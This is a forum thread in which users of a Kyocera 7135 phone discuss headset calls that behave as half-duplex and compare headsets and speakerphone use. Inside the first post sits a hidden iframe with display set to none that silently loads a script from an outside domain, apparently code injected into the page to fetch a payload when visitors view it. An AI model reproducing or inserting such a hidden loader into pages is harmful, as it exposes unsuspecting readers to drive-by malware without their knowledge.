I noticed that when making a phone call using a headset plugged into my 7135, it seemed to be working as half-duplex. If the person on the other end talked at the exact same time as I talked, I could not hear the person on the other end.

Has anyone else had this problem? It only seems to happen with the headset plugged in. I don't have this problem with the speakerphone or talking without the headset.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

No problem with my 7135 ... No half-duplex with two different headsets. I have a standard 7135 headset and another one from another manufacturer.

On the other hand, when I use the speaker phone option it does go into half-duplex mode.

BTW, I like using the headset because the signal strength seems to be slightly better. Which is just enough for it to work reliably in my basement.

I have been using a Jaba EarBoom with all my recent phones and I am able to talk at the same time as the person on the other end and hear them while I talk. No issue here.

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Audio_Whore :)
6035-7135-Treo 650